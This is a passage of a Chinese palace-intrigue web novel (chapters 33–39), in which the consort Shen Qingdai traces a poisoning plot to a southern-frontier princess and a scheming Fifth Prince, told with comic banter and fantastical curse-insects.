男人一听“解药”俩字,眼睛都亮了,挣扎着爬起来:“你……你真有解药?” “那得看你乖不乖了。”沈青黛把瓶子往桌上一放,拖过张椅子坐下。 “幕后主使是谁?在哪儿?说清楚了,这药就是你的。” 男人盯着药瓶咽了咽口水,脸上红疹子被他抓得渗出血来,疼得直抽气。 “我……我就是个跑腿的,上头让我干啥我就干啥……” “少来这套!”沈青黛掏出根银针在蜡烛上烤了烤,针尖被火苗舔得发蓝。 “不说?那我就拿你试试新配的痒痒粉,保证比你现在难受十倍!” 男人盯着烧红的银针,又看看自己胳膊上烂糟糟的红疹,吓得一哆嗦,说话都带了哭腔。 “祖宗!我真不知道雇主长啥样啊!他一直蒙着脸,就塞给我一包毒粉和银子!” “蒙着脸?”沈青黛挑眉,把银针往他眼前凑了凑。 “蒙着脸你总能看见点别的吧?衣服料子?说话口音?总不能跟个鬼似的飘来飘去?” 男人疼得龇牙咧嘴,拼命回忆。 “衣服……好像是黑色锦袍,料子挺贵的!说话……有点鼻音,像感冒没好利索……对了!他腰间挂着个玉佩!” “玉佩?什么样的玉佩?”沈青黛眼睛一亮,收起银针掏出张草纸。 “圆形的,墨绿色,上面刻着……”男人皱着眉想了半天,抓起桌上的炭笔在纸上瞎画。 “好像是条蛇盘着朵花?不对不对,是花中间有个眼睛?哎呀记不清了!” 沈青黛看着纸上歪歪扭扭的图案,跟鬼画符似的,恨不得给他两巴掌:“好好想!再敢瞎画,我就让你尝尝什么叫‘万蚁噬心痒’!” 男人吓得手一抖,炭笔断成两截,结结巴巴说。 “真的像条蛇!头上还有角,盘在一个圆疙瘩上……对了!跟我老家那边的图腾有点像,好像是南疆那边的玩意儿!” “南疆?”沈青黛心里咯噔一下,花戎不就是南疆来的吗? 她接过草纸,看着那团模糊的图案,突然想起花戎药铺里挂的一幅兽皮画,上面的图腾跟这鬼画符有点像。 第三十四章 跟南疆扯上关系 “算你识相。”沈青黛把解药往他手里一塞,“滚吧!再让我看见你下毒,直接把你腌了喂狗!” 男人连滚带爬跑了,沈青黛拿着草纸蹲在地上琢磨。 纸上那团歪歪扭扭的蛇盘莲花,越看越像花戎药铺里兽皮画上的图案。 她记得街口有个卖旧货的王老头,见多识广,说不定认识这图腾。 王老头正蹲在摊子前打瞌睡,口水顺着嘴角流到衣襟上。 沈青黛戳了戳他肩膀:“王大爷,问您个事儿!见过这种玉佩没?墨绿色,刻着蛇盘莲花。” 王老头揉着眼睛瞅她:“小姑娘,你打听这干啥?这玩意儿邪性得很!” 前阵子是有人来卖过类似的玉佩,看着像南疆那边的老物件,具体啥来头我也说不清,反正瞅着瘆人。” “卖玉佩的人长啥样?”沈青黛追问,恨不得把王老头的眼皮扒开。 “记不清了,戴个斗笠裹着披风,看着挺神秘的。” 王老头打了个哈欠,“这种南疆巫蛊的东西,谁沾谁倒霉,你可别瞎掺和啊!” 沈青黛塞了 两个铜板给老头,转身就往皇宫方向走。 刚拐过街角,突然听见前头街道“轰隆”一声响,紧接着有人大喊:“护驾!护驾!” 她皱着眉踮脚一看,好家伙,十几个蒙面人和一队禁军正打得昏天黑地,刀片子甩得火星子乱溅,街边包子铺的蒸笼都被踢翻了。 路人吓得抱头鼠窜,场面跟捅了马蜂窝似的。 “真是晦气!”沈青黛急着回宫报信,哪有功夫看这场面? 她往手心里吹了声口哨,袖子里“嗖”地飞出几枚铜钱大小的铁蒺藜,不偏不倚砸在打斗人群的脚边。 “哎哟!”“什么东西?0”蒙面人和禁军瞬间乱了阵脚,低头一看,脚边全是带倒刺的铁疙瘩,扎得靴子直冒火星。 就在这空档,沈青黛从怀里摸出个小竹筒,往空中一倒——几十只巴掌大的飞蛾扑棱棱飞出来,翅膀上闪着幽蓝的光。 “这……这是啥玩意儿?”一个蒙面人吓得往后退。 沈青黛趁乱往墙角一躲,掏出火折子“滋啦”一声点燃,飞蛾见了火光,齐刷刷扑向打斗的人群,翅膀上的粉簌簌往下掉。 “咳咳!眼睛好辣!” “有毒!快跑!”刚才还喊打喊杀的两拨人,突然跟 见了鬼似的四散奔逃,眨眼间跑得没影了,只留下满地兵器和半拉包子。 沈青黛吹灭火折子,看着空荡荡的街道直犯嘀咕:“这么不禁吓?”她拍了拍身上的灰,刚想继续走,头顶瓦片上传来极轻的衣袂声。 “又是暗卫?”她翻了个白眼,冲着房顶喊,“喂!看够了没?回去告诉你们殿下,我没事!” 房顶上没动静,但沈青黛知道,肯定有眼睛在暗处盯着她。 她耸耸肩,慢悠悠往宫门口走,心里却打起了鼓:刚才那两拨人打得莫名其妙,护驾喊得也假模假样,倒像是故意演给谁看的。 还有那些飞蛾,是她用荧光粉养的,根本没毒,咋就把人吓成那样? 与此同时,东宫书房里,萧景翊正听暗卫汇报。 “殿下,沈良娣用暗器逼退了打斗的人,还放出带荧光粉的飞蛾……” 暗卫憋着笑,“那些蒙面人和禁军见了飞蛾,跟见了索命鬼似的,跑得比兔子还快。” 萧景翊捏着茶盏的手顿了顿,嘴角抽了抽:“荧光粉?”他想起沈青黛上次拿荧光粉在他书房画王八的事,忍不住扶额,“她就不能用点正经暗器?” 暗卫憋着笑,低头道:“殿下,沈良娣方才用铁蒺藜和荧光飞蛾逼退了两拨人,动作倒是利落。不过那些蒙面人的刀法,路子有点野。” “野路子?”萧景翊放下茶盏,指节敲了敲桌面,“看来背后指使人没少花心思。” 他起身走到窗边,看着宫墙外渐渐沉下去的夕阳,“沈青黛那边,让暗卫继续盯着。她爱折腾就让她折腾,但必须保证她一根汗毛都不能少。” “要是她又自己跑去蹚浑水呢?”暗卫有点头疼,那姑娘简直是个炸药包,点哪儿炸哪儿。 “随她去。”萧景翊嘴角勾起一抹无奈的笑,“你还不知道她?越拦着越往上冲。让人远远跟着,见机行事就行。” 暗卫领命退下,萧景翊望着窗外,脑子里全是沈青黛咋咋呼呼的样子。 而此时的沈青黛,正攥着那张画满鬼画符的草纸,猫着腰往花戎的药铺钻。 “老戎!老戎!快开门!”她拍得门板哐哐响。 花戎叼着烟杆开门,一看是她,差点把烟杆掉地上:“我的小姑奶奶,你咋又跑出来了?太子殿下要是知道……” “别提他!”沈青黛挤进门,把草纸往桌上一拍,“你快看!这破画儿到底是个啥玩意儿?上次那下毒的孙子说像南疆图腾!” 花戎拿起草纸,眯着眼瞅了半天,突然“嘶”地倒吸一口凉气,烟杆“啪嗒”掉在地上。 “你从哪儿弄来的这玩意儿?” “就……就从一个中毒的家伙那儿问出来的呗。” 沈青黛被他吓了一跳,“不就是条蛇盘着花吗?咋把你吓成这样?” “蛇盘花?”花戎捡起烟杆,手指抖得厉害,“这是‘赤练噬心莲’的图腾!在我们南疆,这是历代巫主的信物标志!” “巫主?”沈青黛眨巴着眼,“啥玩意儿?南疆的扛把子?” “比扛把子还厉害!”花戎压低声音,左右看了看。 “南疆各部落明面上听土司的,暗地里都认巫主。这图腾代表巫主亲临,见图腾如见巫主本人!你这画的虽然丑,但纹样错不了!” 沈青黛惊得差点把舌头咽下去:“不是吧?南疆的大boss跑京城来了?他不在老家待着,跑这儿喝西北风啊?” “谁知道呢!这图腾几十年没在中原出现过了。当年巫主一脉被朝廷打散,剩的人都躲在深山里,咋突然冒出来了?” 沈青黛蹲在火盆前,看那鬼画符慢慢烧成灰,心里直犯嘀咕。 第三十五章 很可能是南疆公主 “老戎,你说这巫主来京城,会不会跟之前给我下毒的事有关?还有那天街上打架的蒙面人,使的刀法也怪怪的……” “难说。”花戎敲了敲烟杆。 “南疆巫蛊之术邪门得很,要是巫主真来了,怕是没好事。你可千万别瞎掺和,惹上他们没好果子吃!” “我哪是瞎掺和!”沈青黛站起来拍了拍灰,“是他们先惹我的!敢给我下毒,就得付出代价!” 她突然有了主意,“老戎,你这儿有没有能克制巫蛊的药草?给我来十斤!” “十斤?”花戎差点晕过去,“你当买菜呢?克制巫蛊的药草大多剧毒,得按克配!再说了,巫主的手段……” “哎呀少废话!”沈青黛掏出一锭银子拍桌上,“赶紧给我配!钱不是问题!” 花戎盯着银子咽了口唾沫,又看看沈青黛亮晶晶的眼睛,无奈地摊手。 “不是钱的事儿!这‘赤练噬心莲’的图腾……也不是一定就代表巫主,南疆有些部落的公主信物也用这纹样,就是花纹细节不一样罢了。” “公主?”沈青黛眨眨眼,“南疆还有公主呢?长得好不好看?” “美不美跟你有啥关系!”花戎把银子揣进兜里,往药罐里倒草药。 “反正这图腾水很深,你要是撞见戴这玉佩的人,撒丫子跑就对了,别瞎琢磨!” 沈青黛嘴上应着“知道了”,心里却更好奇了。 揣着花戎配的“痒痒粉加强版”,她溜溜达达回东宫。 刚到院子就听见春桃慌慌张张跑过来:“主子!不好了!殿下正在前殿接见南疆来的公主呢!” “公主?”沈青黛挑眉,“花戎刚说完公主,这就来了?” 她拎着裙摆往前殿跑,躲在廊柱后头偷听。 就见殿里坐着个穿孔雀蓝纱裙的姑娘,头发上戴着金子打的花,眼睛又大又亮,正用不太流利的汉语跟萧景翊说话。 “太子殿下,我们南疆的‘忘忧蛊’可神奇了,能让人忘记烦恼呢!” 萧景翊端着茶盏,面无表情:“本太子没什么烦恼,倒是公主远道而来,辛苦了。” 沈青黛撇撇嘴,正想进去凑个热闹,突然有人在她背后阴阳怪气地说:“哟,这不是沈良娣吗?怎么躲在这儿偷听啊?” 她回头一瞅,琳琅正扭着腰肢凑过来:“我当是谁呢,原来是咱们东宫最得脸的沈良娣。怎么着,见着殿下拉着南疆公主说体己话,心里酸了?” 旁边几个小宫女跟着嗤嗤笑,琳琅更是来劲了,甩着帕子说:“不是我说你,良娣啊,这男人就像风筝,线拽太紧要飞,拽太松要跑。” “你看那南疆公主,长得跟画儿似的,还会跳蛊舞,殿下瞧她的眼神……啧啧,怕是你这‘专房之宠’,要变‘昨日黄花’咯!” 沈青黛挑了挑眉,慢悠悠地转过来,上下打量琳琅。 “这话说得可真有意思。我得先问问,你这辈子尝过‘得宠’是啥滋味不?要是连‘有宠’都没体会过,哪儿来的‘失宠’可失啊?” 琳琅的脸“唰”地红了,指着沈青黛直哆嗦:“你……你个小蹄子敢讽刺我!” “我可不敢。”沈青黛摊摊手,一脸无辜,“我就是好奇,你在宫里熬了二十年,咋就对‘失宠’这么有研究?难不成是半夜躲被子里琢磨的?” 周围的小宫女们憋笑憋得肩膀直抖,琳琅气得差点背过气去,跺着脚说:“你……你给我等着!”扭着屁股就跑了。 沈青黛拍拍手,刚想进殿,门帘“唰”地掀开,那位南疆公主扶着侍女走出来了。 她穿着一身流光溢彩的孔雀羽裙,头上金饰叮当作响,看见沈青黛时明显吓了一跳。 但也就惊了那么一瞬,公主立刻板起脸,眼神冷冷的扫过沈青黛,鼻子里轻轻“哼”了一声,摆出一副高高在上的样子。 可没走两步,她又突然停下,转过身,用生硬的汉语说:“你就是太子的……良娣?” 沈青黛笑眯眯地福了福身:“正是。公主殿下金安。” 公主上下打量她,半晌才从牙缝里挤出几个字:“听闻你……很得太子殿下‘喜爱’?” 她说“喜爱”俩字时,语气酸得能腌酸菜。 沈青黛心里“咯噔”一下,这公主看她的眼神满满的敌意。 再联想到花戎说的南疆图腾、玉佩,还有之前自己中的毒……难不成这毒是她下的? “殿下抬爱罢了。”沈青黛故意往殿门靠了靠,“不像公主殿下,天姿国色,又是南疆贵客,殿下刚才跟您说话时,眼睛都没挪窝呢!” 这话一出,公主的脸色瞬间好看了些,嘴角忍不住往上翘,但很快又绷住了,矜持地开口。 “太子殿下……温文尔雅,聪明能干,本公主甚是欣赏。” 沈青黛差点笑出声,这公主明明对萧景翊有意思,还装得跟冰块似的。 她正琢磨着怎么套话,萧景翊的声音从殿里传来:“沈良娣,愣在那儿做什么?” 他迈步走出来,目光落在沈青黛身上时,下意识地柔和了些,却对着公主拱手道:“公主慢走,本太子就不远送了。” 公主的脸色又沉了下去,对着萧景翊福了福身,眼神却偷偷瞟着他,那恋恋不舍的劲儿,连旁边的小宫女都看出来了。 沈青黛在心里翻了个大白眼。 公主走到台阶下,又回头看了萧景翊一眼,这才带着侍女走了。 沈青黛就凑到萧景翊身边,用胳膊肘戳他:“殿下,您这魅力可真大,南疆公主看您的眼神,跟饿狼见了小羊羔似的!” 萧景翊没搭理她,径直往书房走,袖口却被沈青黛拽住了。 “哎哎别走啊!您跟我说实话,是不是趁我不在的时候,偷偷给公主抛媚眼了?” “松手。”萧景翊回头,语气没什么波澜,“再胡言乱语,就把你关起来抄《女诫》。” “别别别!”沈青黛赶紧松手,却还在嘴硬,“我就说说嘛,您看她看您那眼神,明摆着是春心萌动了!” 第三十六章 公主是不是看上你了 萧景翊被沈青黛缠得没辙,停下脚步斜睨她:“你这脑子里一天到晚都装的什么?” “装的都是您啊殿下!”沈青黛笑得一脸谄媚,还伸手想去捏他袖子上的暗纹。 “您说那公主是不是看上您了?她看我的眼神跟要吃了我似的,肯定是把我当情敌了!” “无聊。”萧景翊甩开她的手,加快脚步往书房走,“少掺和这些事,南疆来的人没那么简单。” “我这不是关心您嘛!”沈青黛追在他身后。 “万一她给您下蛊怎么办?听说南疆的‘同心蛊’可厉害了,下了之后您就得对她死心塌地,眼里再也没别人了!” “你知道的倒不少。”萧景翊推开门,一股墨香飘出来,“是不是又去花戎那儿听了什么乱七八糟的?” “这怎么能叫乱七八糟呢!”沈青黛一屁股坐在他常坐的椅子上,翘着二郎腿,“这叫未雨绸缪!万一真有那么一天,我也好提前准备解药不是?” 萧景翊走到书案前,拿起一支狼毫笔,头也不抬地说:“就算真有那么一天,也轮不到你准备解药。” “嘿!您这话什么意思?”沈青黛一下子从椅子上蹦起来,“难不成您还真打算中她的蛊?” 萧景翊终于抬眼看她,眼神里带着一丝无奈:“沈青黛,我让你别多管闲事,听见没有?” 沈青黛撇撇嘴,不情不愿地应了一声:“知道了。” 萧景翊放下笔,忽然想起什么,问道:“对了,之前琳琅中了毒,你给她解了吗?” 沈青黛正扒拉着他书案上的蜜饯果子往嘴里塞,闻言动作一僵,腮帮子还鼓着,含糊不清地说:“没、没呢……” “没解?”萧景翊挑眉,搁下狼毫笔,墨汁在宣纸上晕开个小点儿,“你不是说三天就能好?这都过去五天了,春桃说她房里还总飘出草药味。” “哎呀殿下您别急呀!”沈青黛赶紧咽下果子,抹了把嘴,“主要是她对之前那味药过敏,起了一脖子红疹,我得找替代的药材嘛!” 她掰着手指头数。 “本来想用另一种草顶事儿,结果发现这玩意儿跟她之前吃的安神药犯冲。” “又试了一种带花的根茎,熬出来的药汤子她嫌太苦,喝一口就吐了……您说她事儿咋那么多!” 萧景翊看着她气鼓鼓的样子,眼角抽了抽:“所以你就拖着没给她解?” “这怎么能叫拖呢!”沈青黛梗着脖子辩解。 “是她自己不配合!我跟她说了,治旧伤得按新法子来,她非抱着老方子不放,还嫌我找的替代药材看着不起眼。” 她越说越激动,手指头差点戳到萧景翊鼻子上。 “再说了,她那伤又不是我弄的!当年救您时中了毒,宫里太医都束手无策,我好容易琢磨出替代药材,她倒嫌三嫌四的。” 萧景翊像是被她唾沫星子喷得往后躲了躲,无奈道:“行,你安排,我不再问了。” “这还差不多。”沈青黛翻了个白眼,抓起桌上最后一颗蜜饯塞进嘴里。 “等我找到那种叶子带锯齿、根茎能熬出黏浆的草,保证立马给她把旧毒去干净。” “不过话说回来,殿下您是不是心疼她了?要不您亲自去给她送解药得了!” 萧景翊眼皮一跳,抄起案头的镇纸作势要砸:“滚。” “得嘞!”沈青黛嬉皮笑脸地溜了,跑出书房还不忘对着他背影做了个鬼脸。 可刚转过游廊,她就收了笑,摸着下巴琢磨事儿。 昨儿那南疆公主看她的眼神太不对劲了,再加上花戎说的追影蛊,难不成这毒啊蛊的,都跟那公主有关系? “不行,我得亲自去探探底!”沈青黛一拍手,主意打定。 反正琳琅的解毒药材还没找齐,不如先去会会那傲娇公主,指不定能从她身上挖出点线索呢! 第二天一早,沈青黛揣着个小瓷瓶溜出东宫。 瓶里是花戎给的“避蛊散”,说是撒在身上能防小喽啰下的蛊。 她打听到南疆公主暂住在国宾馆,便拎着裙摆往城西跑,路上还顺道买了串糖葫芦,边啃边琢磨怎么搭话。 国宾馆门口守着禁军,沈青黛刚想硬闯,就见门里走出个穿孔雀蓝纱裙的身影。 正是阿依古丽公主。 她身边跟着个侍女,正叽叽喳喳地说着什么,看见沈青黛时,公主的脸立刻拉了下来,眼神跟刀子似的。 “哟,这不是太子殿下的良娣吗?”阿依古丽故意拖长了音调,汉语说得磕磕绊绊,“不在宫里待着,跑这儿来看热闹?” 沈青黛把最后一颗糖葫芦塞进嘴里,抹了抹嘴,笑眯眯地说:“公主殿下这话说的,我是看您初来乍到,怕您闷得慌,特意来陪您说说话呀!” 阿依古丽冷哼一声:“我可不缺人陪。” “别呀公主!”沈青黛往前凑了凑,压低声音,“我听说南疆的‘忘忧蛊’可神奇了,能让人忘记烦恼呢!您要不要给我讲讲,这蛊到底是咋下的?” 她这话一出,阿依古丽身边的侍女脸色骤变,连忙拽了拽公主的袖子。 阿依古丽眼神一厉,盯着沈青黛:“你问这个做什么?” “好奇嘛!”沈青黛眨巴着眼睛,装出一副天真烂漫的样子。 “我还听说,南疆有种追影蛊,能让人走到哪儿都被盯着,是真的吗?” 阿依古丽的脸色瞬间变得铁青,指着沈青黛:“你……你什么意思?” “没什么意思呀!”沈青黛摊摊手。 “就是前几天我后颈上莫名其妙爬了个小虫子,被花戎药铺的老板给烫死了,说是追影蛊呢!您说,这是谁这么缺德,跟我过不去呀?” 她一边说,一边偷偷观察阿依古丽的表情。 只见公主眼神闪烁,手指下意识地摸了摸腰间的玉佩——那是一块墨绿色的玉,上面刻着扭曲的花纹,跟花戎说的“赤练噬心莲”图腾有点像! “我、我不知道你在说什么!”阿依古丽猛地转过身,“我们走!” 说完,她拽着侍女就往国宾馆里跑,裙摆都差点被自己踩掉。 第三十七章 肯定是她干的 沈青黛看着她慌张的背影,嘴角勾起一抹得意的笑——哼哼,果然心里有鬼! 从国宾馆出来,沈青黛直奔花戎药铺。 花戎正蹲在门口晒草药,看见她来了,头也不抬地问:“又惹啥麻烦了?” “麻烦倒是没惹,”沈青黛一屁股坐在他旁边。 “不过我发现那南疆公主腰间挂着块玉佩,跟您说的图腾有点像!而且我一提追影蛊,她就慌了神,肯定是她干的!” 花戎放下手里的草药,皱着眉说:“阿依古丽虽然是月落部公主,但按规矩不该有巫主图腾的玉佩。她那玉佩……怕是来路不正。” “来路不正才好呢!”沈青黛搓着手。 “等我查清楚,就能抓她小辫子了!对了老戎,您上次说我身上的蛊不难解,有没有啥一劳永逸的法子?省得下次再被人下虫子。” 花戎想了想,起身走进里屋,半晌才拿出个小木盒。 “这是‘驱虫丸’,你每天含一颗在嘴里,能防百蛊。不过这药味极苦,你受得了吗?” 沈青黛一把抢过木盒,打开闻了闻,立刻皱起了眉。 那味道跟烧焦的鸡毛似的,难闻死了! 但她还是硬着头皮把一颗黑乎乎的药丸塞进嘴里,瞬间苦得脸都皱成了包子,眼泪差点流出来。 “呜……苦……” “忍着点!”花戎拍了拍她的背。 “这药虽苦,却是用三十多种药材熬制的,能护住心脉不受蛊虫侵扰。你呀,以后少往危险的地方凑,南疆的水太深了。” 沈青黛含着药丸,说不出话,只能使劲点头。 心里却暖暖的——花戎虽然嘴上老嫌弃她,但每次都偷偷帮她。 等这事了了,一定得给他买十斤最好的烟丝! 从药铺出来,沈青黛感觉嘴里的苦味淡了些,便慢悠悠地往东宫走。 刚到宫门口,就看见春桃慌慌张张地跑过来:“主子!您可算回来了,殿下正找您呢!” “找我干啥?”沈青黛心里咯噔一下,不会是又闯祸了吧? 春桃喘着气说:“不知道啊,殿下脸色可不好了,正在书房等您呢!” 沈青黛硬着头皮走进书房,只见萧景翊背对着她站在窗边,手里把玩着一枚墨绿色的玉佩。 听见动静,他转过身,脸色果然不太好:“去哪儿了?” “没、没去哪儿,就出去遛了个弯……”沈青黛眼神闪烁,不敢看他。 萧景翊挑眉,把玉佩扔在桌上:“遛弯遛到国宾馆去了?还跟南疆公主吵了一架?” 沈青黛吓了一跳:“您咋知道?” “我要是连这个都不知道,还当什么太子?” 萧景翊走到她面前,低头看着她,“沈青黛,我警告你,南疆的事情别掺和,听见没有?” “我就是好奇嘛……”沈青黛小声嘀咕,“再说了,她都往我身上下蛊了,我还不能问问?” “下蛊?”萧景翊眉头一皱,“什么时候的事?” 沈青黛便把后颈中了追影蛊,又被花戎解了的事说了一遍。 萧景翊听完,脸色更沉了:“你就这么不听话?我让你别惹事!” “我这不是没事嘛!”沈青黛仰起脸,“而且花戎给了我驱虫丸,可苦了呢!” 看着她一脸委屈的样子,萧景翊的火气突然就消了。 他叹了口气,伸手揉了揉她的头:“下次再敢乱跑,就把你关起来,哪儿也不许去。” “知道啦知道啦!”沈青黛拍开他的手,心里却有点甜。 原来他是担心我呀! 萧景翊看着她,眼神复杂:“阿依古丽那边,你别再去了。她背后的人不简单,你斗不过。” “哦……”沈青黛有点失望,但还是点了点头。 等萧景翊处理公务去了,沈青黛偷偷把嘴里的驱虫丸吐出来——实在太苦了! 但转念一想,花戎费了那么大劲给她做的药,不吃又对不起他。 于是她又把药丸塞了回去,苦得龇牙咧嘴,心里却想着:哼,南疆公主,你等着,等我找到证据,看我怎么收拾你! 而此刻的国宾馆里,阿依古丽正对着镜子,烦躁地扯着头上的金饰。 侍女在一旁小心翼翼地说:“公主,您真的要跟那个沈良娣作对吗?她毕竟是太子宠爱的人……” “宠爱?”阿依古丽冷笑一声,“太子心里有没有她我不知道,但我知道,她要是再敢查下去,就别怪我不客气了!” 她将墨绿色玉佩攥得死紧,蛇形纹路硌得掌心生疼:“去告诉山下的人,下次下蛊换‘蚀骨蚰’,别再用追影蛊那种废物玩意儿!” 侍女吓得打了个哆嗦:“公主,‘蚀骨蚰’是巫主亲授的蛊虫,一旦种下……” “啰嗦!”阿依古丽挥手打翻妆台的胭脂盒,“再啰嗦就把你喂给蛊虫!” 侍女不敢再言,弓着身退出去时,正撞见门外黑影一闪。 阿依古丽抬眼望去,只见窗纸上映出个戴斗笠的人影,腰间挂着半块碎玉——正是当年给琳琅下蛊的人。 “事情办得怎么样?”阿依古丽压低声音。 黑影比了个手势,沙哑着嗓子说:“五皇子那边急了,说沈良娣身上的毒根本没发作,太子现在活得好好的。” 与此同时,丞相府的书房里正摔得震天响。 五皇子一脚踹翻太师椅,鎏金茶盏在地上滚出老远:“废物!一群废物!” 丞相缩着脖子站在一旁,花白胡子抖个不停:“殿下息怒,那沈良娣许是得了什么解药……” “解药?”五皇子抓起案上的密信狠狠撕碎。 “我花大价钱从南疆弄来的‘百日枯’,连花戎那老东西都解不了,她一个毛丫头能有什么本事?” 他想起前几日画舫刺杀时,皇帝突然召出的暗卫,气得一拳砸在桌上。 “还有威远侯那个蠢货,没把皇帝引到圈套里,反倒把自己搭进去了!现在父皇疑心都到我头上了!” 丞相捋着胡子,眼珠转了转。 “殿下勿忧,南疆的阿依古丽公主不是还在吗?听说她带来的‘忘忧蛊’能惑人心智,不如……” 第三十八章 意图拉拢 “得了吧!”五皇子不耐烦地打断他。 “那公主跟我就是互相利用,她想在京城搅浑水,我想借她除掉太子,真当我不清楚她那点心思?” “再说了,上次让她给沈青黛下追影蛊,结果呢?那小贱人活蹦乱跳的,半点事没有!” 他越说越气,抄起桌上的茶盏就想砸,到底还是忍了,只重重搁在桌上。 “说起来就来气!沈青黛那丫头片子,看着咋咋呼呼的,怎么就那么难对付?” “我花大价钱弄来的‘百日枯’,当年连花戎都皱眉的毒,到她身上愣是没反应!” 丞相捻着胡须,慢悠悠地说:“殿下,依老臣看,这沈良娣恐怕不是表面那么简单。” “老臣派人打听过,她未入宫前曾在民间游历,跟那个花戎药铺的老板交情不浅,医术怕是真有两下子。” “您想啊,寻常女子哪能轻易解了南疆的毒?” “医术好?”五皇子冷笑一声,“再好的医术,也怕不要命的蛊!我就不信她能百毒不侵!” “话虽如此,”丞相压低声音,“但硬来怕是不行。” “您想啊,她现在是太子宠爱的良娣,身边明里暗里多少护卫?万一再惹出皇帝那边的暗卫,咱们麻烦就大了。” 五皇子烦躁地在屋里踱步,靴底把木地板踩得吱呀响。 “那你说怎么办?总不能眼睁睁看着她坏我大事吧?” “上次画舫的事,要不是她突然冒出来搅局,威远侯那蠢货说不定就成了!” “威远侯……”丞相眼睛一亮,“殿下,您还记不记得,威远侯府那两个被抓的女儿?” “记得又怎么样?”五皇子没好气,“她们爹都被关起来了,还能翻出什么浪?” “不然,不然啊!”丞相笑得像只老狐狸。 “威远侯想攀附五皇子您,结果事败被抓,心里能不恨吗?” “他那两个女儿更是恨透了让她们家破人亡的沈青黛和太子。老臣听说,她们被关在宗人府里,天天喊着要报仇呢!” 五皇子停下脚步,眯起眼睛:“你是说……” “殿下不妨派人去宗人府走一趟,”丞相搓着手。 “威远侯府的人最清楚宫里的门路,也最恨沈青黛。要是能从她们嘴里掏出点沈青黛的把柄,或者……” “让她们想想办法给沈青黛找点麻烦,岂不是比咱们亲自动手干净?” 五皇子沉思片刻,猛地一拍手:“好主意!就这么办!” 他立刻招来心腹,低声吩咐了几句。 心腹领命而去,五皇子这才稍微解了气,却又想起什么,脸色重新阴沉下来。 “还有沈青黛那丫头,以前我让人给她下药,她还能晕乎两天,现在倒好,连南疆的蛊都能解了,简直越来越不受掌控!” 丞相捋着胡子,慢悠悠地说:“殿下,依老臣看,这世上没有不透风的墙,更没有没弱点的人。” “沈青黛就算医术再高,她也是个女人,女人嘛……总有在乎的东西。” “她在乎什么?”五皇子挑眉,“我看她天不怕地不怕的,眼里除了太子就没别人了。” “哎——这可不一定。”丞相笑得高深莫测,“老臣听说,她跟那个花戎药铺的老板关系非同一般,说不定……” “花戎?”五皇子皱眉,“一个药铺老板而已,能有什么用?” “殿下您想啊,”丞相循循善诱,“花戎是南疆来的,又懂医术蛊术,沈青黛的解药多半是从他那儿来的。” “要是咱们能抓住花戎的把柄,或者……让花戎出点什么事,您说沈青黛会不会慌?” 五皇子眼睛越听越亮,忍不住拍了拍丞相的肩膀。 “老匹夫,你这脑子还真管用!行,我这就让人去盯着花戎,再去宗人府探探威远侯那两个女儿的口风!” 与此同时,沈青黛正蹲在花戎药铺的后院,帮着晒草药。 花戎叼着烟杆,看着她笨手笨脚的样子,忍不住吐槽:“我说小姑奶奶,你能不能轻点?那是‘清心草’,不是喂猪的糠!” “知道啦知道啦!”沈青黛把一捆草甩在竹匾里。 “我这不是看您一个人忙不过来嘛!对了老戎,昨天南疆公主送的那盆‘忘忧花’,是不是就是你说的‘迷魂草’?” “可不是嘛!”花戎往地上磕了磕烟灰。 “那玩意儿看着漂亮,花瓣上全是细微的毒粉,闻多了能让人精神恍惚,任人摆布。幸好你机灵,没让那公主得逞。” 沈青黛得意地扬起下巴。 “那是!也不看看我是谁!不过说真的老戎,五皇子和那公主是不是盯上我了?怎么总给我下绊子啊?” 花戎叹了口气,放下烟杆:“何止是盯上你啊……京城这潭水,早就浑了。” “五皇子想夺嫡,阿依古丽想找巫主的东西,而你和太子,正好挡在他们路上。” “切,挡他们路又怎么了?”沈青黛撇撇嘴。 “我还看他们不顺眼呢!对了老戎,你说那阿依古丽口口声声说什么‘忘忧蛊’,到底是啥玩意儿?真能让人忘记烦恼?” 花戎摇摇头。 “哪有那么神!‘忘忧蛊’其实是‘控心蛊’的变种,下了蛊的人会对下蛊者言听计从,跟丢了魂似的。” “不过这蛊对心志坚定的人没用,所以她才想先拿‘迷魂草’迷糊你。” 沈青黛听得咋舌:“这么邪乎?那她为啥不直接给太子下蛊?” “傻丫头,”花戎敲了敲她的脑袋。 “太子身边多少护卫,多少暗卫?她哪有机会近身?倒是你,整天咋咋呼呼的往外跑,可不就成了靶子?” 沈青黛揉着脑袋,嘟囔道:“我这叫艺高人胆大……” “拉倒吧你,”花戎拿烟杆敲了敲她手背。 “再艺高也架不住人家玩阴的。赶紧回你的东宫去,别在我这儿晃悠了,省得引火烧身。” 沈青黛撇撇嘴,知道花戎是为她好,也就没再顶嘴。 揣着花戎新给的一小包“醒神散”,她溜溜达达往东宫走,心里却跟揣了只兔子似的。 五皇子和阿依古丽都盯着她呢,这日子咋过啊! 第三十九章 去哪混了 刚进东宫院门,就看见萧景翊黑着脸站在廊下,手里还捏着个熟悉的瓷瓶——正是她藏起来的驱虫丸。 沈青黛心里咯噔一下,脸上立刻堆起笑:“殿下,您咋在这儿站着?晒坏了可咋整!” 萧景翊没理她的殷勤,扬了扬手里的瓷瓶:“这玩意儿哪儿来的?” “就……就花戎给的呗,”沈青黛眼神躲闪,“说能防虫子,苦得要命,我就……” “就偷偷吐了?”萧景翊挑眉,把瓷瓶往石桌上一放,“沈青黛,你是不是觉得我眼睛不好使?” 沈青黛缩了缩脖子,不敢说话。 萧景翊看着她这副样子,气不打一处来:“今天又去哪儿了?春桃说你一早就没影了,直到现在才回来。” “我……我去花戎药铺了呀!”沈青黛赶紧说,“就……就有点不舒服,去拿点药。” “不舒服?”萧景翊上前一步,伸手想碰她额头,“哪儿不舒服?我让太医来看看。” “别别别!”沈青黛猛地往后躲,“不用太医!我自己就是医生,小病小痛的我自己能治!” 笑话,要是让太医知道她差点中蛊,还不得把她当成怪物? 萧景翊的手停在半空,眼神沉了沉:“你去药铺,该不会是……又去联系什么人了吧?” 这话一出,沈青黛当场就炸毛了:“萧景翊!你什么意思?” 她叉着腰,瞪着眼睛看着他。 “我什么时候乱联系别人了?不就是去花戎那儿拿点药吗?” “你倒好,不问青红皂白就怀疑我!你是不是觉得,所有人都跟你那些兄弟似的,满脑子算计?” 她越说越委屈,眼眶都红了。 “我沈青黛虽然没什么大本事,但我从来没害过你,也没害过别人!” “你要是不信我,就把我关起来好了!省得你看着我心烦!” 话音落下时,眼泪啪嗒掉在石桌上,砸出小小的湿痕。 